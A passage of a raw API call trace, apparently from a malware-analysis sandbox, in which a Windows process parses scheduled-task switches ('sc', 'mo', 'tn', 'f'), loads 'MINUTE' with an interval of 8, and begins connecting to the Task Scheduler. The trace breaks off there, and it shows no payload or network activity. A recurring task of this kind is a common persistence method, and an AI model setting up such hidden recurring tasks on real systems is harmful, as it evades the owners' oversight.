(lpFirst="|s|", lpSrch="|f|") returned 0x0 [0161.351] SetLastError (dwErrCode=0x490) [0161.351] lstrlenW (lpString="u") returned 1 [0161.351] lstrlenW (lpString="u") returned 1 [0161.351] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.351] lstrlenW (lpString="f") returned 1 [0161.351] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.351] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|u|") returned 3 [0161.351] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|f|") returned 3 [0161.351] lstrlenW (lpString="|u|") returned 3 [0161.351] lstrlenW (lpString="|f|") returned 3 [0161.351] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0161.351] SetLastError (dwErrCode=0x490) [0161.351] lstrlenW (lpString="p") returned 1 [0161.351] lstrlenW (lpString="p") returned 1 [0161.352] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.352] lstrlenW (lpString="f") returned 1 [0161.352] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.352] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|p|") returned 3 [0161.352] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|f|") returned 3 [0161.352] lstrlenW (lpString="|p|") returned 3 [0161.352] lstrlenW (lpString="|f|") returned 3 [0161.352] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0161.352] SetLastError (dwErrCode=0x490) [0161.352] lstrlenW (lpString="ru") returned 2 [0161.352] lstrlenW (lpString="ru") returned 2 [0161.352] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.352] lstrlenW (lpString="f") returned 1 [0161.352] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.352] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|ru|") returned 4 [0161.352] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|f|") returned 3 [0161.352] lstrlenW (lpString="|ru|") returned 4 [0161.352] lstrlenW (lpString="|f|") returned 3 [0161.352] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0161.352] SetLastError (dwErrCode=0x490) [0161.352] lstrlenW (lpString="rp") returned 2 [0161.352] lstrlenW (lpString="rp") returned 2 [0161.352] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.352] lstrlenW (lpString="f") returned 1 [0161.352] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.352] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|rp|") returned 4 [0161.353] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|f|") returned 3 [0161.353] lstrlenW (lpString="|rp|") returned 4 [0161.353] lstrlenW (lpString="|f|") returned 3 [0161.353] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0161.353] SetLastError (dwErrCode=0x490) [0161.353] lstrlenW (lpString="sc") returned 2 [0161.353] lstrlenW (lpString="sc") returned 2 [0161.353] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.353] lstrlenW (lpString="f") returned 1 [0161.353] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.353] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|sc|") returned 4 [0161.353] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|f|") returned 3 [0161.353] lstrlenW (lpString="|sc|") returned 4 [0161.353] lstrlenW (lpString="|f|") returned 3 [0161.353] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0161.353] SetLastError (dwErrCode=0x490) [0161.353] lstrlenW (lpString="mo") returned 2 [0161.353] lstrlenW (lpString="mo") returned 2 [0161.353] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.353] lstrlenW (lpString="f") returned 1 [0161.353] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.353] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|mo|") returned 4 [0161.353] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|f|") returned 3 [0161.353] lstrlenW (lpString="|mo|") returned 4 [0161.353] lstrlenW (lpString="|f|") returned 3 [0161.353] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0161.353] SetLastError (dwErrCode=0x490) [0161.354] lstrlenW (lpString="d") returned 1 [0161.354] lstrlenW (lpString="d") returned 1 [0161.354] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.354] lstrlenW (lpString="f") returned 1 [0161.354] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.354] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|d|") returned 3 [0161.354] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|f|") returned 3 [0161.354] lstrlenW (lpString="|d|") returned 3 [0161.354] lstrlenW (lpString="|f|") returned 3 [0161.354] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0161.354] SetLastError (dwErrCode=0x490) [0161.354] lstrlenW (lpString="m") returned 1 [0161.354] lstrlenW (lpString="m") returned 1 [0161.354] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.354] lstrlenW (lpString="f") returned 1 [0161.354] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.354] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|m|") returned 3 [0161.354] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|f|") returned 3 [0161.354] lstrlenW (lpString="|m|") returned 3 [0161.354] lstrlenW (lpString="|f|") returned 3 [0161.354] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0161.354] SetLastError (dwErrCode=0x490) [0161.354] lstrlenW (lpString="i") returned 1 [0161.354] lstrlenW (lpString="i") returned 1 [0161.354] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.354] lstrlenW (lpString="f") returned 1 [0161.354] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.355] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|i|") returned 3 [0161.355] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|f|") returned 3 [0161.355] lstrlenW (lpString="|i|") returned 3 [0161.355] lstrlenW (lpString="|f|") returned 3 [0161.355] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0161.355] SetLastError (dwErrCode=0x490) [0161.355] lstrlenW (lpString="tn") returned 2 [0161.355] lstrlenW (lpString="tn") returned 2 [0161.355] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.355] lstrlenW (lpString="f") returned 1 [0161.355] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.355] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|tn|") returned 4 [0161.355] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|f|") returned 3 [0161.355] lstrlenW (lpString="|tn|") returned 4 [0161.355] lstrlenW (lpString="|f|") returned 3 [0161.355] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0161.355] SetLastError (dwErrCode=0x490) [0161.355] lstrlenW (lpString="tr") returned 2 [0161.355] lstrlenW (lpString="tr") returned 2 [0161.355] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.355] lstrlenW (lpString="f") returned 1 [0161.355] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.355] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|tr|") returned 4 [0161.355] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|f|") returned 3 [0161.355] lstrlenW (lpString="|tr|") returned 4 [0161.355] lstrlenW (lpString="|f|") returned 3 [0161.355] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0161.356] SetLastError (dwErrCode=0x490) [0161.356] lstrlenW (lpString="st") returned 2 [0161.356] lstrlenW (lpString="st") returned 2 [0161.356] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.356] lstrlenW (lpString="f") returned 1 [0161.356] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.356] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|st|") returned 4 [0161.356] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|f|") returned 3 [0161.356] lstrlenW (lpString="|st|") returned 4 [0161.356] lstrlenW (lpString="|f|") returned 3 [0161.356] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0161.356] SetLastError (dwErrCode=0x490) [0161.356] lstrlenW (lpString="sd") returned 2 [0161.356] lstrlenW (lpString="sd") returned 2 [0161.356] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.356] lstrlenW (lpString="f") returned 1 [0161.356] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.356] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|sd|") returned 4 [0161.356] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|f|") returned 3 [0161.356] lstrlenW (lpString="|sd|") returned 4 [0161.356] lstrlenW (lpString="|f|") returned 3 [0161.356] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0161.356] SetLastError (dwErrCode=0x490) [0161.356] lstrlenW (lpString="ed") returned 2 [0161.356] lstrlenW (lpString="ed") returned 2 [0161.356] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.357] lstrlenW (lpString="f") returned 1 [0161.357] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.357] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|ed|") returned 4 [0161.357] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|f|") returned 3 [0161.357] lstrlenW (lpString="|ed|") returned 4 [0161.357] lstrlenW (lpString="|f|") returned 3 [0161.357] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0161.357] SetLastError (dwErrCode=0x490) [0161.357] lstrlenW (lpString="it") returned 2 [0161.357] lstrlenW (lpString="it") returned 2 [0161.357] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.357] lstrlenW (lpString="f") returned 1 [0161.357] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.357] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|it|") returned 4 [0161.357] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|f|") returned 3 [0161.357] lstrlenW (lpString="|it|") returned 4 [0161.357] lstrlenW (lpString="|f|") returned 3 [0161.357] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0161.357] SetLastError (dwErrCode=0x490) [0161.357] lstrlenW (lpString="et") returned 2 [0161.357] lstrlenW (lpString="et") returned 2 [0161.357] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.357] lstrlenW (lpString="f") returned 1 [0161.357] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.357] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|et|") returned 4 [0161.357] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|f|") returned 3 [0161.358] lstrlenW (lpString="|et|") returned 4 [0161.358] lstrlenW (lpString="|f|") returned 3 [0161.358] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0161.358] SetLastError (dwErrCode=0x490) [0161.358] lstrlenW (lpString="k") returned 1 [0161.358] lstrlenW (lpString="k") returned 1 [0161.358] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.358] lstrlenW (lpString="f") returned 1 [0161.358] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.358] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|k|") returned 3 [0161.358] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|f|") returned 3 [0161.358] lstrlenW (lpString="|k|") returned 3 [0161.358] lstrlenW (lpString="|f|") returned 3 [0161.358] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0161.358] SetLastError (dwErrCode=0x490) [0161.358] lstrlenW (lpString="du") returned 2 [0161.358] lstrlenW (lpString="du") returned 2 [0161.358] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.358] lstrlenW (lpString="f") returned 1 [0161.358] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.358] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|du|") returned 4 [0161.358] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|f|") returned 3 [0161.358] lstrlenW (lpString="|du|") returned 4 [0161.358] lstrlenW (lpString="|f|") returned 3 [0161.358] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0161.358] SetLastError (dwErrCode=0x490) [0161.359] lstrlenW (lpString="ri") returned 2 [0161.359] lstrlenW (lpString="ri") returned 2 [0161.359] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.359] lstrlenW (lpString="f") returned 1 [0161.359] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.359] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|ri|") returned 4 [0161.359] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|f|") returned 3 [0161.359] lstrlenW (lpString="|ri|") returned 4 [0161.359] lstrlenW (lpString="|f|") returned 3 [0161.359] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0161.359] SetLastError (dwErrCode=0x490) [0161.359] lstrlenW (lpString="z") returned 1 [0161.359] lstrlenW (lpString="z") returned 1 [0161.359] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.359] lstrlenW (lpString="f") returned 1 [0161.359] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.359] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|z|") returned 3 [0161.359] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|f|") returned 3 [0161.359] lstrlenW (lpString="|z|") returned 3 [0161.359] lstrlenW (lpString="|f|") returned 3 [0161.359] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0161.359] SetLastError (dwErrCode=0x490) [0161.359] lstrlenW (lpString="f") returned 1 [0161.359] lstrlenW (lpString="f") returned 1 [0161.359] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.359] lstrlenW (lpString="f") returned 1 [0161.359] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.359] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|f|") returned 3 [0161.360] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|f|") returned 3 [0161.360] lstrlenW (lpString="|f|") returned 3 [0161.360] lstrlenW (lpString="|f|") returned 3 [0161.360] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0161.360] SetLastError (dwErrCode=0x0) [0161.360] SetLastError (dwErrCode=0x0) [0161.360] GetProcessHeap () returned 0x3f0000 [0161.360] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x40cd70 [0161.360] _memicmp (_Buf1=0x40bae0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.360] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x40d2d0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0161.360] lstrlenW (lpString="MINUTE") returned 6 [0161.360] GetProcessHeap () returned 0x3f0000 [0161.360] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0xe) returned 0x40d570 [0161.360] GetThreadLocale () returned 0x409 [0161.360] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0161.360] SetLastError (dwErrCode=0x0) [0161.360] GetProcessHeap () returned 0x3f0000 [0161.360] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x1fc) returned 0x40c440 [0161.360] GetProcessHeap () returned 0x3f0000 [0161.360] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x40cd40 [0161.360] _memicmp (_Buf1=0x40bae0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.360] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x40d2d0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0161.361] lstrlenW (lpString="First") returned 5 [0161.361] GetProcessHeap () returned 0x3f0000 [0161.361] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0xc) returned 0x40d590 [0161.361] GetProcessHeap () returned 0x3f0000 [0161.361] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x40cd10 [0161.361] _memicmp (_Buf1=0x40bae0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.361] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x40d2d0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0161.361] lstrlenW (lpString="Second") returned 6 [0161.361] GetProcessHeap () returned 0x3f0000 [0161.361] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0xe) returned 0x40d5b0 [0161.361] GetProcessHeap () returned 0x3f0000 [0161.361] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x40cce0 [0161.361] _memicmp (_Buf1=0x40bae0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.361] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x40d2d0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0161.361] lstrlenW (lpString="Third") returned 5 [0161.361] GetProcessHeap () returned 0x3f0000 [0161.361] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0xc) returned 0x40d5d0 [0161.361] GetProcessHeap () returned 0x3f0000 [0161.361] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x40ccb0 [0161.361] _memicmp (_Buf1=0x40bae0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.361] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x40d2d0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0161.361] lstrlenW (lpString="Fourth") returned 6 [0161.361] GetProcessHeap () returned 0x3f0000 [0161.361] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0xe) returned 0x40d5f0 [0161.361] GetProcessHeap () returned 0x3f0000 [0161.361] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x40cc80 [0161.361] _memicmp (_Buf1=0x40bae0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.361] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x40d2d0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0161.362] lstrlenW (lpString="Last") returned 4 [0161.362] GetProcessHeap () returned 0x3f0000 [0161.362] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0xa) returned 0x40d610 [0161.362] lstrlenW (lpString="8") returned 1 [0161.362] _wtol (_String="8") returned 8 [0161.362] GetProcessHeap () returned 0x3f0000 [0161.362] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x40cc50 [0161.362] _memicmp (_Buf1=0x40bae0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.362] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x40d2d0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0161.362] lstrlenW (lpString="First") returned 5 [0161.362] GetProcessHeap () returned 0x3f0000 [0161.362] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0xc) returned 0x40d630 [0161.362] _memicmp (_Buf1=0x40bae0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.362] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x40d2d0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0161.362] lstrlenW (lpString="Second") returned 6 [0161.362] GetProcessHeap () returned 0x3f0000 [0161.362] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0xe) returned 0x40d650 [0161.362] _memicmp (_Buf1=0x40bae0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.362] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x40d2d0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0161.362] lstrlenW (lpString="Third") returned 5 [0161.362] _memicmp (_Buf1=0x40bae0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.362] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x40d2d0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0161.362] lstrlenW (lpString="Fourth") returned 6 [0161.362] _memicmp (_Buf1=0x40bae0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.362] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x40d2d0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0161.362] lstrlenW (lpString="Last") returned 4 [0161.363] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x27c4c0, cchData=128 | out: lpLCData="0") returned 2 [0161.363] _memicmp (_Buf1=0x40bae0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.363] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x40d2d0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0161.363] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0161.363] GetProcessHeap () returned 0x3f0000 [0161.363] GetProcessHeap () returned 0x3f0000 [0161.363] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d590) returned 1 [0161.363] GetProcessHeap () returned 0x3f0000 [0161.363] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40d590) returned 0xc [0161.363] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d590 | out: hHeap=0x3f0000) returned 1 [0161.363] GetProcessHeap () returned 0x3f0000 [0161.363] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x16) returned 0x40d590 [0161.363] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x27c4e0, cchData=128 | out: lpLCData="0") returned 2 [0161.363] _memicmp (_Buf1=0x40bae0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.363] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x40d2d0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0161.363] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0161.363] GetProcessHeap () returned 0x3f0000 [0161.363] GetProcessHeap () returned 0x3f0000 [0161.363] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d5b0) returned 1 [0161.363] GetProcessHeap () returned 0x3f0000 [0161.363] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40d5b0) returned 0xe [0161.363] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d5b0 | out: hHeap=0x3f0000) returned 1 [0161.363] GetProcessHeap () returned 0x3f0000 [0161.363] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x16) returned 0x40d5b0 [0161.363] GetLocalTime (in: lpSystemTime=0x27c710 | out: lpSystemTime=0x27c710*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x14, wMilliseconds=0x24e)) [0161.364] lstrlenW (lpString="") returned 0 [0161.364] GetLocalTime (in: lpSystemTime=0x27cfc8 | out: lpSystemTime=0x27cfc8*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x14, wMilliseconds=0x24e)) [0161.364] lstrlenW (lpString="") returned 0 [0161.364] lstrlenW (lpString="") returned 0 [0161.364] lstrlenW (lpString="") returned 0 [0161.364] lstrlenW (lpString="") returned 0 [0161.364] lstrlenW (lpString="8") returned 1 [0161.364] _wtol (_String="8") returned 8 [0161.364] lstrlenW (lpString="") returned 0 [0161.364] lstrlenW (lpString="") returned 0 [0161.364] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0161.410] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0161.444] CoCreateInstance (in: rclsid=0xff451ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff451ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x27cd90 | out: ppv=0x27cd90*=0x6a7b00) returned 0x0 [0161.456] TaskScheduler:ITaskService:Connect (This=0x6a7b00, serverName=0x27ce70*(varType=0x8, wReserved1=0x27, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x27ce30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x27ce50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, 